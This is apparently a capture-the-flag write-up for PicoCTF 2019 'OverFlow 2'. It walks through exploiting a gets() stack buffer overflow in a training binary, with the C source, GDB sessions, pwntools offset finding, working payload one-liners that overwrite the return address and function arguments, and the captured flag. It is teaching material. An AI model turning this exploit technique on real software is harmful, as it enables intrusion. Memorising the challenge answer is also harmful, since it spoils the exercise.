PicoCTF19 OverFlow 2
Challenge
Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2 on the shell server. Source.
Hints
GDB can print the stack after you send arguments
Solution
Let's view that directory:
samson@pico-2019-shell1:/problems/overflow-2$ ls -al
total 92
drwxr-xr-x 2 root root 4096 Sep 28 22:04 .
drwxr-x--x 684 root root 69632 Oct 10 18:02 ..
-r--r----- 1 hacksports overflow-2_3 33 Sep 28 22:04 flag.txt
-rwxr-sr-x 1 hacksports overflow-2_3 7500 Sep 28 22:04 vuln
-rw-rw-r-- 1 hacksports hacksports 794 Sep 28 22:04 vuln.c
Let's view vuln.c
samson@pico-2019-shell1:/problems/overflow-2$ cat vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 176
#define FLAGSIZE 64
void flag(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xC0DED00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
It seems like a program that takes in some input and prints it back to you. Let's try that and some large input.
samson@pico-2019-shell1:/problems/overflow-2$ ./vuln
Please enter your string:
A
A
samson@pico-2019-shell1:/problems/overflow-2$ echo $(python -c "print 'A'*184") | ./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
We need to invoke the flag()
function like flag(0xDEADBEEF, 0xC0DED00D)
from vuln()
.
So let's first try to reproducce what we did in Overflow-1 and get into the vuln()
function first.
samson@pico-2019-shell1:/problems/overflow-2$ gdb ./vuln
... <redacted>
Reading symbols from ./vuln...(no debugging symbols found)...done.
(gdb) disas vuln
Dump of assembler code for function vuln:
0x08048676 <+0>: push %ebp
0x08048677 <+1>: mov %esp,%ebp
0x08048679 <+3>: push %ebx
0x0804867a <+4>: sub $0xb4,%esp
0x08048680 <+10>: call 0x8048520 <__x86.get_pc_thunk.bx>
0x08048685 <+15>: add $0x197b,%ebx
0x0804868b <+21>: sub $0xc,%esp
0x0804868e <+24>: lea -0xb8(%ebp),%eax
0x08048694 <+30>: push %eax
0x08048695 <+31>: call 0x8048430 <gets@plt>
0x0804869a <+36>: add $0x10,%esp
0x0804869d <+39>: sub $0xc,%esp
0x080486a0 <+42>: lea -0xb8(%ebp),%eax
0x080486a6 <+48>: push %eax
0x080486a7 <+49>: call 0x8048460 <puts@plt>
0x080486ac <+54>: add $0x10,%esp
0x080486af <+57>: nop
0x080486b0 <+58>: mov -0x4(%ebp),%ebx
0x080486b3 <+61>: leave
0x080486b4 <+62>: ret
End of assembler dump.
(gdb) b* 0x08048695
Breakpoint 1 at 0x8048695
(gdb) r < <(python -c 'print("A"*184)')
Starting program: /problems/overflow-2/vuln < <(python -c 'print("A"*184)')
Please enter your string:
Breakpoint 1, 0x08048695 in vuln ()
(gdb) i f
Stack level 0, frame at 0xffaacbb0:
eip = 0x8048695 in vuln; saved eip = 0x804871c
(gdb) ni
0x0804869a in vuln ()
(gdb) i f
Stack level 0, frame at 0xffaacbb0:
eip = 0x804869a in vuln; saved eip = 0x804871c
(gdb) r < <(python -c 'print("A"*284)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /problems/overflow-2/vuln < <(python -c 'print("A"*284)')
Please enter your string:
Breakpoint 1, 0x08048695 in vuln ()
(gdb) i f
Stack level 0, frame at 0xff894ed0:
eip = 0x8048695 in vuln; saved eip = 0x804871c
(gdb) ni
0x0804869a in vuln ()
(gdb) i f
Stack level 0, frame at 0xff894ed0:
eip = 0x804869a in vuln; saved eip = 0x41414141
called by frame at 0xff894ed4
(gdb) x flag
0x80485e6 <flag>: 0x53e58955
Through a bunch of trial an error I finally found the input that lets us jump to the flag()
function
(gdb) r < <(python -c 'print("A"*188+"\xe6\x85\x04\x08")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /problems/overflow-2/vuln < <(python -c 'print("A"*188+"\xe6\x85\x04\x08")')
Please enter your string:
Breakpoint 1, 0x08048695 in vuln ()
(gdb) ni
0x0804869a in vuln ()
(gdb) info frame
Stack level 0, frame at 0xff914d50:
eip = 0x804869a in vuln; saved eip = 0x80485e6
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.
[Inferior 1 (process 2898163) exited normally]
Perfect. We're in the flag()
function as determined by the output, so let's dig into the function now.
(gdb) disas flag
Dump of assembler code for function flag:
0x080485e6 <+0>: push %ebp
0x080485e7 <+1>: mov %esp,%ebp
0x080485e9 <+3>: push %ebx
0x080485ea <+4>: sub $0x54,%esp
0x080485ed <+7>: call 0x8048520 <__x86.get_pc_thunk.bx>
0x080485f2 <+12>: add $0x1a0e,%ebx
0x080485f8 <+18>: sub $0x8,%esp
0x080485fb <+21>: lea -0x1850(%ebx),%eax
0x08048601 <+27>: push %eax
0x08048602 <+28>: lea -0x184e(%ebx),%eax
0x08048608 <+34>: push %eax
0x08048609 <+35>: call 0x80484a0 <fopen@plt>
0x0804860e <+40>: add $0x10,%esp
0x08048611 <+43>: mov %eax,-0xc(%ebp)
0x08048614 <+46>: cmpl $0x0,-0xc(%ebp)
0x08048618 <+50>: jne 0x8048636 <flag+80>
0x0804861a <+52>: sub $0xc,%esp
0x0804861d <+55>: lea -0x1844(%ebx),%eax
0x08048623 <+61>: push %eax
0x08048624 <+62>: call 0x8048460 <puts@plt>
0x08048629 <+67>: add $0x10,%esp
0x0804862c <+70>: sub $0xc,%esp
0x0804862f <+73>: push $0x0
0x08048631 <+75>: call 0x8048470 <exit@plt>
0x08048636 <+80>: sub $0x4,%esp
0x08048639 <+83>: pushl -0xc(%ebp)
0x0804863c <+86>: push $0x40
0x0804863e <+88>: lea -0x4c(%ebp),%eax
0x08048641 <+91>: push %eax
0x08048642 <+92>: call 0x8048440 <fgets@plt>
0x08048647 <+97>: add $0x10,%esp
0x0804864a <+100>: cmpl $0xdeadbeef,0x8(%ebp)
0x08048651 <+107>: jne 0x804866d <flag+135>
0x08048653 <+109>: cmpl $0xc0ded00d,0xc(%ebp)
0x0804865a <+116>: jne 0x8048670 <flag+138>
0x0804865c <+118>: sub $0xc,%esp
0x0804865f <+121>: lea -0x4c(%ebp),%eax
0x08048662 <+124>: push %eax
0x08048663 <+125>: call 0x8048420 <printf@plt>
0x08048668 <+130>: add $0x10,%esp
0x0804866b <+133>: jmp 0x8048671 <flag+139>
0x0804866d <+135>: nop
0x0804866e <+136>: jmp 0x8048671 <flag+139>
0x08048670 <+138>: nop
0x08048671 <+139>: mov -0x4(%ebp),%ebx
0x08048674 <+142>: leave
0x08048675 <+143>: ret
End of assembler dump.
The lines that stand out the most to me are:
...
cmpl $0xdeadbeef,0x8(%ebp)
...
cmpl $0xc0ded00d,0xc(%ebp)
...
So what this is suggesting is that it's comparing the second and third values from the ebp
register which is the bottom of the stack, so we should overwrite the return address, and add our first and second arguments to the stack
So let's set some breakpoints there.
(gdb) b* 0x0804864a
Breakpoint 1 at 0x804864a
(gdb) b* 0x08048653
Breakpoint 2 at 0x8048653
(gdb) r < <(python -c 'print("A"*188+"\xe6\x85\x04\x08")')
Starting program: /problems/overflow-2/vuln < <(python -c 'print("A"*188+"\xe6\x85\x04\x08")')
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.
[Inferior 1 (process 2899300) exited normally]
Oh wait, in GDB the flag function exits first. So I guess we'll have to follow the hint... inspect the stack Let's append some input into it.
(gdb) b* 0x080485e6
Breakpoint 1 at 0x80485e6
(gdb) r < <(python -c 'print("A"*188+"\xe6\x85\x04\x08"+"A"*8+"B"*8)')
Starting program: /problems/overflow-2/vuln < <(python -c 'print("A"*188+"\xe6\x85\x04\x08"+"A"*8+"B"*8)')
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
Breakpoint 1, 0x080485e6 in flag ()
(gdb) info stack
#0 0x080485e6 in flag ()
#1 0x41414141 in ?? ()
#2 0x41414141 in ?? ()
#3 0x42424242 in ?? ()
#4 0x42424242 in ?? ()
#5 0xff8e7b00 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
So remember the stack grows from the EBP, so our first and second arguments are between #1-#4
. However, the code seems to be looking at ebp+8
so let's send 4 A's
before our arguments.
samson@pico-2019-shell1:/problems/overflow-2$ python -c 'print "A"*188+"\xe6\x85\x04\x08"+"A"*4+"\xef\xbe\xad\xde"+"\x0d\xd0\xde\xc0"' | ./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�
picoCTF{arg5_and_r3turn51b106031}Segmentation fault (core dumped)
r < <(python -c 'from pwn import *; print "A"*176+"B"*12+p32(0x080485E6)+"A"*4+p32(0xDEADBEEF)+p32(0xC0DED00D)')
Also works.
Flag
picoCTF{arg5_and_r3turn51b106031}
Alternative Solution - PwnTools
To recap, vuln
allocates a buffer of size 176
on the stack and then uses gets
a vulnerable function to read from it.
The first step is to calculate the amount of padding required from the beginning of the buffer all the way to the return address on the stack.
A more detailed explanation can be found on Overflow 1 for the Pwntools cyclic module.
samson@pico-2019-shell1:/problems/overflow-2$ gdb ./vuln
... <redacted>
Reading symbols from ./vuln...(no debugging symbols found)...done.
Starting program: /problems/overflow-2/vuln < <(cyclic 200)
Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Program received signal SIGSEGV, Segmentation fault.
0x62616177 in ?? ()
Let's find the offset for those hex values.
samson@pico-2019-shell1:/problems/overflow-2$ cyclic -l 0x62616177
188
So remember the stack grows from the EBP, so our first and second arguments are between #1-#4
. However, the code seems to be looking at ebp+8
so let's send 4 A's
before our arguments.
samson@pico-2019-shell1:/problems/overflow-2$ python -c 'print "A"*188+"\xe6\x85\x04\x08"+"A"*4+"\xef\xbe\xad\xde"+"\x0d\xd0\xde\xc0"' | ./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�
picoCTF{arg5_and_r3turn51b106031}Segmentation fault (core dumped)
samson@pico-2019-shell1:/problems/overflow-2$ python -c "from pwn import *; print('A'*188 + p32(0x080485e6) + 'A'*4 + p32(0xDEADBEEF) + p32(0xC0DED00D))" | ./vuln
Please enter your string:
���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�
picoCTF{arg5_and_r3turn51b106031}Segmentation fault (core dumped)
Alternative without GDB
$ cyclic 200 | ./vuln
Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
$ dmesg | grep vuln
[123123] vuln[3738]: segfault at 62616177 ip 0000000062616177 sp 00000000ffde7fe0 error 14 in libc-2.27.so[f7d1b000+19000]
$ cyclic -l 0x62616177
188